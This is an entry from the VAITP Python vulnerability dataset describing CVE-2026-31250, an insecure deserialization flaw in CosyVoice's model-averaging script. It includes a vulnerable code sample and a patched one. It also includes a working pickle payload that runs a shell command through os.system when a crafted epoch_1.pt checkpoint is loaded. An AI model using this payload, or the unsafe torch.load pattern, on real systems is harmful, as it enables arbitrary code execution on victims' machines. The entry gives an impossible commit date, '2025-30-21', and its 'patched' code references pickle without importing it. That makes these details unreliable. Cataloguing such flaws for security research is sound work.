CVE-2026-31250
Insecure deserialization in CosyVoice's model averaging tool allows RCE.
- CVSS 7.3
- CWE-502
- Input Validation and Sanitization
- Local
CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its average_model.py model averaging tool. The script loads PyTorch checkpoint files (epoch_*.pt) for model averaging using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious checkpoint files within a directory. When a victim uses the tool to average models from this directory, arbitrary code is executed on the victim's system.
- CWE
- CWE-502
- CVSS base score
- 7.3
- Published
- 2026-05-11
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- CosyVoice
Solution
Update to commit `4366b610c3c6f626155681944e05445214736f56` or a more recent version.
Vulnerable code sample
import os
import torch
import glob
import argparse
from collections import OrderedDict
def average_checkpoints(model_dir, output_path):
param_dict = OrderedDict()
param_keys = None
new_state = None
num_models = 0
checkpoint_files = glob.glob(os.path.join(model_dir, "epoch_*.pt"))
if not checkpoint_files:
print(f"No checkpoint files found in {model_dir}")
return
for f in checkpoint_files:
print(f"Processing {f}")
# Vulnerable line: Deserializes the file without security checks.
# A malicious .pt file can execute arbitrary code here.
state = torch.load(f, map_location="cpu")
if "model" in state:
state = state["model"]
if new_state is None:
new_state = state
else:
for k, v in state.items():
if k in new_state:
new_state[k] += v
num_models += 1
if new_state is not None and num_models > 0:
for k in new_state:
if new_state[k].is_floating_point():
new_state[k] /= num_models
else:
new_state[k] //= num_models
print(f"Averaged {num_models} models. Saving to {output_path}")
torch.save({"model": new_state}, output_path)
else:
print("No models were averaged.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Average PyTorch model checkpoints.")
parser.add_argument("--model-dir", required=True, type=str, help="Directory containing the .pt checkpoint files.")
parser.add_argument("--output-path", required=True, type=str, help="Path to save the averaged model checkpoint.")
args = parser.parse_args()
average_checkpoints(args.model_dir, args.output_path)Patched code sample
import torch
import os
import glob
def average_models_safely(model_dir: str):
"""
Represents the fixed model averaging tool.
This function safely loads PyTorch checkpoint files from a directory
by using the `weights_only=True` parameter in `torch.load()`. This
prevents the deserialization of arbitrary Python objects, mitigating
the risk of remote code execution from malicious checkpoint files.
"""
checkpoint_paths = glob.glob(os.path.join(model_dir, "epoch_*.pt"))
if not checkpoint_paths:
print(f"No model checkpoints found in '{model_dir}'.")
return
print(f"Found {len(checkpoint_paths)} checkpoints for averaging.")
# Placeholder for the averaged model state
averaged_state_dict = None
for i, ckpt_path in enumerate(checkpoint_paths):
print(f"Loading: {os.path.basename(ckpt_path)}")
# --- THE FIX ---
# The vulnerable version was: torch.load(ckpt_path)
# The fix is to add `weights_only=True`, which ensures that only tensors
# (model weights, biases, etc.) are loaded, and no arbitrary Python
# code (via the underlying pickle module) can be executed.
try:
state_dict = torch.load(ckpt_path, weights_only=True)
except (RuntimeError, pickle.UnpicklingError) as e:
print(f"Could not load {ckpt_path} safely. It may be corrupt or malicious. Skipping. Error: {e}")
continue
# --- END OF FIX ---
# Simple averaging logic (for demonstration purposes)
if averaged_state_dict is None:
averaged_state_dict = state_dict
else:
for key in averaged_state_dict:
if key in state_dict:
# Naive averaging for demonstration
averaged_state_dict[key] = (averaged_state_dict[key] * i + state_dict[key]) / (i + 1)
if averaged_state_dict:
print("\nModel averaging complete.")
# In a real tool, this state_dict would be saved to a new file.
# torch.save(averaged_state_dict, "averaged_model.pt")
else:
print("\nNo valid models were averaged.")Payload
import torch
import os
class ArbitraryCodeExecutor:
def __reduce__(self):
command = "touch /tmp/pwned"
return (os.system, (command,))
malicious_object = ArbitraryCodeExecutor()
# Save the malicious object to a file named like a model checkpoint.
# This file, when loaded by the vulnerable script, will trigger the exploit.
torch.save(malicious_object, 'epoch_1.pt')
Cite this entry
@misc{vaitp:cve202631250,
title = {{Insecure deserialization in CosyVoice's model averaging tool allows RCE.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-31250},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31250/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
